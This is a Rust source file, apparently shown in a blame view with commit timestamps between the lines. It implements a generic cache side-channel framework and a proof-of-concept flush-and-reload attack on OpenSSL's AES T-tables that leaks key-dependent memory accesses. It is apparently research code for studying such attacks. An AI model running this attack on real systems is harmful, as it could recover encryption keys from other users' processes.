2020-08-19 14:34:52 +02:00
#![ feature(specialization) ]
2020-09-22 16:49:22 +02:00
#![ feature(unsafe_block_in_unsafe_fn) ]
#![ deny(unsafe_op_in_unsafe_fn) ]
2020-08-19 14:34:52 +02:00
2020-08-19 10:07:48 +02:00
use openssl ::aes ;
2020-09-22 14:30:08 +02:00
use crate ::CacheStatus ::Miss ;
2020-08-19 10:07:48 +02:00
use memmap2 ::Mmap ;
use openssl ::aes ::aes_ige ;
use openssl ::symm ::Mode ;
use std ::collections ::HashMap ;
use std ::fmt ::Debug ;
use std ::fs ::File ;
use std ::path ::Path ;
2020-09-22 14:30:08 +02:00
pub mod naive_flush_and_reload ;
2020-08-04 14:33:33 +02:00
// Generic AES T-table attack flow
// Modularisation :
// The module handles loading, then passes the relevant target infos to a attack strategy object for calibration
// Then the module runs the attack, calling the attack strategy to make a measurement and return hit/miss
// interface for attack : run victim (eat a closure)
// interface for measure : give measurement target.
// Can attack strategies return err ?
// Load a vulnerable openssl - determine adresses af the T tables ?
// Run the calibrations
// Then start the attacks
// This is a serialized attack - either single threaded or synchronised
// parameters required
// an attacker measurement
// a calibration victim
2020-09-22 14:30:08 +02:00
#[ derive(Debug, PartialEq, Eq, Clone, Copy) ]
2020-08-19 10:07:48 +02:00
pub enum CacheStatus {
Hit ,
Miss ,
}
2020-09-22 14:30:08 +02:00
#[ derive(Debug, PartialEq, Eq, Clone, Copy) ]
2020-08-19 14:34:52 +02:00
pub enum ChannelFatalError {
Oops ,
}
pub enum SideChannelError {
2020-08-19 10:07:48 +02:00
NeedRecalibration ,
2020-08-19 14:34:52 +02:00
FatalError ( ChannelFatalError ) ,
2020-09-22 14:30:08 +02:00
AddressNotReady ( * const u8 ) ,
AddressNotCalibrated ( * const u8 ) ,
2020-08-19 10:07:48 +02:00
}
/*
pub enum CacheSideChannel {
SingleAddr ,
MultipleAddr ,
}
* /
// Access Driven
pub trait SimpleCacheSideChannel {
// TODO
}
pub trait TableCacheSideChannel {
2020-08-19 14:34:52 +02:00
//type ChannelFatalError: Debug;
2020-09-22 16:49:22 +02:00
unsafe fn calibrate (
2020-09-22 14:30:08 +02:00
& mut self ,
addresses : impl IntoIterator < Item = * const u8 > + Clone ,
) -> Result < ( ) , ChannelFatalError > ;
2020-09-22 16:49:22 +02:00
unsafe fn attack < ' a , ' b > (
2020-08-19 10:07:48 +02:00
& ' a mut self ,
2020-08-19 14:34:52 +02:00
addresses : impl IntoIterator < Item = * const u8 > + Clone ,
2020-09-22 16:49:22 +02:00
victim : & ' b dyn Fn ( ) ,
2020-08-19 14:34:52 +02:00
) -> Result < Vec < ( * const u8 , CacheStatus ) > , ChannelFatalError > ;
2020-08-19 10:07:48 +02:00
}
pub trait SingleAddrCacheSideChannel : Debug {
2020-08-19 14:34:52 +02:00
//type SingleChannelFatalError: Debug;
2020-08-19 10:07:48 +02:00
2020-09-22 16:49:22 +02:00
unsafe fn test_single ( & mut self , addr : * const u8 ) -> Result < CacheStatus , SideChannelError > ;
unsafe fn prepare_single ( & mut self , addr : * const u8 ) -> Result < ( ) , SideChannelError > ;
2020-09-22 14:30:08 +02:00
fn victim_single ( & mut self , operation : & dyn Fn ( ) ) ;
2020-09-22 16:49:22 +02:00
unsafe fn calibrate_single (
2020-08-19 10:07:48 +02:00
& mut self ,
2020-08-19 14:34:52 +02:00
addresses : impl IntoIterator < Item = * const u8 > + Clone ,
) -> Result < ( ) , ChannelFatalError > ;
2020-08-19 10:07:48 +02:00
}
pub trait MultipleAddrCacheSideChannel : Debug {
2020-08-19 14:34:52 +02:00
//type MultipleChannelFatalError: Debug;
2020-09-22 16:49:22 +02:00
unsafe fn test (
2020-08-19 14:34:52 +02:00
& mut self ,
addresses : impl IntoIterator < Item = * const u8 > + Clone ,
) -> Result < Vec < ( * const u8 , CacheStatus ) > , SideChannelError > ;
2020-09-22 16:49:22 +02:00
unsafe fn prepare (
2020-09-22 14:30:08 +02:00
& mut self ,
addresses : impl IntoIterator < Item = * const u8 > + Clone ,
) -> Result < ( ) , SideChannelError > ;
2020-08-19 14:34:52 +02:00
fn victim ( & mut self , operation : & dyn Fn ( ) ) ;
2020-09-22 16:49:22 +02:00
unsafe fn calibrate (
2020-08-19 14:34:52 +02:00
& mut self ,
addresses : impl IntoIterator < Item = * const u8 > + Clone ,
) -> Result < ( ) , ChannelFatalError > ;
2020-08-19 10:07:48 +02:00
}
impl < T : SingleAddrCacheSideChannel > TableCacheSideChannel for T {
2020-09-22 16:49:22 +02:00
default unsafe fn calibrate (
2020-09-22 14:30:08 +02:00
& mut self ,
addresses : impl IntoIterator < Item = * const u8 > + Clone ,
) -> Result < ( ) , ChannelFatalError > {
2020-09-22 16:49:22 +02:00
unsafe { self . calibrate_single ( addresses ) }
2020-08-19 14:34:52 +02:00
}
//type ChannelFatalError = T::SingleChannelFatalError;
2020-08-19 10:07:48 +02:00
2020-09-22 16:49:22 +02:00
default unsafe fn attack < ' a , ' b , ' c > (
2020-08-19 10:07:48 +02:00
& ' a mut self ,
2020-08-19 14:34:52 +02:00
addresses : impl IntoIterator < Item = * const u8 > + Clone ,
2020-08-19 10:07:48 +02:00
victim : & ' c dyn Fn ( ) ,
2020-08-19 14:34:52 +02:00
) -> Result < Vec < ( * const u8 , CacheStatus ) > , ChannelFatalError > {
2020-08-19 10:07:48 +02:00
let mut result = Vec ::new ( ) ;
for addr in addresses {
2020-09-22 16:49:22 +02:00
match unsafe { self . prepare_single ( addr ) } {
2020-09-22 14:30:08 +02:00
Ok ( _ ) = > { }
Err ( e ) = > match e {
SideChannelError ::NeedRecalibration = > unimplemented! ( ) ,
SideChannelError ::FatalError ( e ) = > return Err ( e ) ,
SideChannelError ::AddressNotReady ( _addr ) = > panic! ( ) ,
SideChannelError ::AddressNotCalibrated ( _addr ) = > unimplemented! ( ) ,
} ,
}
self . victim_single ( victim ) ;
2020-09-22 16:49:22 +02:00
let r = unsafe { self . test_single ( addr ) } ;
2020-08-19 10:07:48 +02:00
match r {
Ok ( status ) = > {
result . push ( ( addr , status ) ) ;
}
Err ( e ) = > match e {
SideChannelError ::NeedRecalibration = > panic! ( ) ,
SideChannelError ::FatalError ( e ) = > {
return Err ( e ) ;
}
2020-08-19 15:09:29 +02:00
_ = > panic! ( ) ,
2020-08-19 10:07:48 +02:00
} ,
}
}
Ok ( result )
}
}
2020-09-22 14:30:08 +02:00
// TODO
2020-08-19 14:34:52 +02:00
impl < T : MultipleAddrCacheSideChannel > SingleAddrCacheSideChannel for T {
2020-09-22 16:49:22 +02:00
unsafe fn test_single ( & mut self , addr : * const u8 ) -> Result < CacheStatus , SideChannelError > {
2020-09-22 14:30:08 +02:00
let addresses = vec! [ addr ] ;
2020-09-22 16:49:22 +02:00
unsafe { self . test ( addresses ) } . map ( | v | v [ 0 ] . 1 )
2020-08-19 14:34:52 +02:00
}
2020-09-22 16:49:22 +02:00
unsafe fn prepare_single ( & mut self , addr : * const u8 ) -> Result < ( ) , SideChannelError > {
2020-09-22 14:30:08 +02:00
let addresses = vec! [ addr ] ;
2020-09-22 16:49:22 +02:00
unsafe { self . prepare ( addresses ) }
2020-08-19 14:34:52 +02:00
}
2020-09-22 14:30:08 +02:00
fn victim_single ( & mut self , operation : & dyn Fn ( ) ) {
self . victim ( operation ) ;
2020-08-19 14:34:52 +02:00
}
2020-09-22 16:49:22 +02:00
unsafe fn calibrate_single (
2020-08-19 14:34:52 +02:00
& mut self ,
addresses : impl IntoIterator < Item = * const u8 > + Clone ,
) -> Result < ( ) , ChannelFatalError > {
2020-09-22 16:49:22 +02:00
unsafe { self . calibrate ( addresses ) }
2020-08-19 14:34:52 +02:00
}
}
2020-09-22 16:49:22 +02:00
fn table_cache_side_channel_calibrate_impl < T : MultipleAddrCacheSideChannel > (
s : & mut T ,
addresses : impl IntoIterator < Item = * const u8 > + Clone ,
) -> Result < ( ) , ChannelFatalError > {
unsafe { s . calibrate ( addresses ) }
}
2020-08-19 14:34:52 +02:00
impl < T : MultipleAddrCacheSideChannel > TableCacheSideChannel for T {
2020-09-22 16:49:22 +02:00
unsafe fn calibrate (
2020-09-22 14:30:08 +02:00
& mut self ,
addresses : impl IntoIterator < Item = * const u8 > + Clone ,
) -> Result < ( ) , ChannelFatalError > {
2020-09-22 16:49:22 +02:00
table_cache_side_channel_calibrate_impl ( self , addresses )
//self.calibrate(addresses)
2020-08-19 14:34:52 +02:00
}
//type ChannelFatalError = T::MultipleChannelFatalError;
2020-09-22 16:49:22 +02:00
unsafe fn attack < ' a , ' b , ' c > (
2020-08-19 14:34:52 +02:00
& ' a mut self ,
addresses : impl IntoIterator < Item = * const u8 > + Clone ,
victim : & ' c dyn Fn ( ) ,
) -> Result < Vec < ( * const u8 , CacheStatus ) > , ChannelFatalError > {
2020-09-22 16:49:22 +02:00
match unsafe { MultipleAddrCacheSideChannel ::prepare ( self , addresses . clone ( ) ) } {
2020-09-22 14:30:08 +02:00
Ok ( _ ) = > { }
Err ( e ) = > match e {
SideChannelError ::NeedRecalibration = > unimplemented! ( ) ,
SideChannelError ::FatalError ( e ) = > return Err ( e ) ,
SideChannelError ::AddressNotReady ( _addr ) = > panic! ( ) ,
SideChannelError ::AddressNotCalibrated ( _addr ) = > unimplemented! ( ) ,
} ,
}
2020-08-19 14:34:52 +02:00
MultipleAddrCacheSideChannel ::victim ( self , victim ) ;
2020-09-22 14:30:08 +02:00
2020-09-22 16:49:22 +02:00
let r = unsafe { MultipleAddrCacheSideChannel ::test ( self , addresses ) } ; // Fixme error handling
2020-08-19 14:34:52 +02:00
match r {
Err ( e ) = > match e {
SideChannelError ::NeedRecalibration = > {
panic! ( ) ;
}
SideChannelError ::FatalError ( e ) = > Err ( e ) ,
2020-08-19 15:09:29 +02:00
_ = > panic! ( ) ,
2020-08-19 14:34:52 +02:00
} ,
Ok ( v ) = > Ok ( v ) ,
}
}
}
2020-08-19 10:07:48 +02:00
pub struct AESTTableParams < ' a > {
pub num_encryptions : u32 ,
pub key : [ u8 ; 32 ] ,
pub openssl_path : & ' a Path ,
pub te : [ isize ; 4 ] ,
}
2020-09-22 16:49:22 +02:00
pub unsafe fn attack_t_tables_poc (
side_channel : & mut impl TableCacheSideChannel ,
parameters : AESTTableParams ,
) {
attack_t_tables_poc_impl ( side_channel , parameters )
}
fn attack_t_tables_poc_impl (
2020-08-19 10:07:48 +02:00
side_channel : & mut impl TableCacheSideChannel ,
parameters : AESTTableParams ,
2020-09-22 16:49:22 +02:00
) {
2020-08-19 10:07:48 +02:00
// Note : This function doesn't handle the case where the address space is not shared. (Additionally you have the issue of complicated eviction sets due to complex addressing)
// TODO
// Possible enhancements : use ability to monitor several addresses simultaneously.
let fd = File ::open ( parameters . openssl_path ) . unwrap ( ) ;
let mmap = unsafe { Mmap ::map ( & fd ) . unwrap ( ) } ;
let base = mmap . as_ptr ( ) ;
let te0 = unsafe { base . offset ( parameters . te [ 0 ] ) } ;
if unsafe { ( te0 as * const u64 ) . read ( ) } ! = 0xf87c7c84c66363a5 {
panic! ( " Hmm This does not look like a T-table, check your address and the openssl used " )
}
let key_struct = aes ::AesKey ::new_encrypt ( & parameters . key ) . unwrap ( ) ;
//let mut plaintext = [0u8; 16];
//let mut result = [0u8; 16];
let mut timings : HashMap < * const u8 , HashMap < u8 , u32 > > = HashMap ::new ( ) ;
let addresses = parameters
. te
. iter ( )
. map ( | & start | ( ( start ) .. ( start + 64 * 16 ) ) . step_by ( 64 ) )
. flatten ( )
. map ( | offset | unsafe { base . offset ( offset ) } ) ;
2020-09-22 16:49:22 +02:00
unsafe { side_channel . calibrate ( addresses . clone ( ) ) . unwrap ( ) } ;
2020-08-19 14:34:52 +02:00
2020-08-19 10:07:48 +02:00
for addr in addresses . clone ( ) {
2020-08-19 15:09:29 +02:00
let mut timing = HashMap ::new ( ) ;
for b in ( u8 ::min_value ( ) ..= u8 ::max_value ( ) ) . step_by ( 16 ) {
timing . insert ( b , 0 ) ;
}
timings . insert ( addr , timing ) ;
2020-08-19 10:07:48 +02:00
}
for b in ( u8 ::min_value ( ) ..= u8 ::max_value ( ) ) . step_by ( 16 ) {
//plaintext[0] = b;
eprintln! ( " Probing with b = {:x} " , b ) ;
// fixme magic numbers
let victim = | | {
let mut plaintext = [ 0 u8 ; 16 ] ;
plaintext [ 0 ] = b ;
2020-09-22 16:49:22 +02:00
for byte in plaintext . iter_mut ( ) . skip ( 1 ) {
* byte = rand ::random ( ) ;
2020-08-19 10:07:48 +02:00
}
let mut iv = [ 0 u8 ; 32 ] ;
let mut result = [ 0 u8 ; 16 ] ;
aes_ige ( & plaintext , & mut result , & key_struct , & mut iv , Mode ::Encrypt ) ;
} ;
2020-09-22 14:30:08 +02:00
for _ in 0 .. 100 {
2020-09-22 16:49:22 +02:00
let r = unsafe { side_channel . attack ( addresses . clone ( ) , & victim ) } ;
2020-09-22 14:30:08 +02:00
match r {
Ok ( v ) = > {
for ( probe , status ) in v {
if status = = Miss {
* timings . get_mut ( & probe ) . unwrap ( ) . entry ( b ) . or_insert ( 0 ) + = 0 ;
}
}
}
Err ( _ ) = > panic! ( " Attack failed " ) ,
}
}
for _ in 0 .. parameters . num_encryptions {
2020-09-22 16:49:22 +02:00
let r = unsafe { side_channel . attack ( addresses . clone ( ) , & victim ) } ;
2020-08-19 10:07:48 +02:00
match r {
Ok ( v ) = > {
for ( probe , status ) in v {
2020-08-19 15:09:29 +02:00
if status = = Miss {
2020-08-19 10:07:48 +02:00
* timings . get_mut ( & probe ) . unwrap ( ) . entry ( b ) . or_insert ( 0 ) + = 1 ;
}
}
}
Err ( _ ) = > panic! ( " Attack failed " ) ,
}
}
}
for probe in addresses {
print! ( " {:p} " , probe ) ;
for b in ( u8 ::min_value ( ) ..= u8 ::max_value ( ) ) . step_by ( 16 ) {
2020-09-22 14:30:08 +02:00
print! ( " {:4} " , timings [ & probe ] [ & b ] ) ;
2020-08-19 10:07:48 +02:00
}
println! ( ) ;
}
}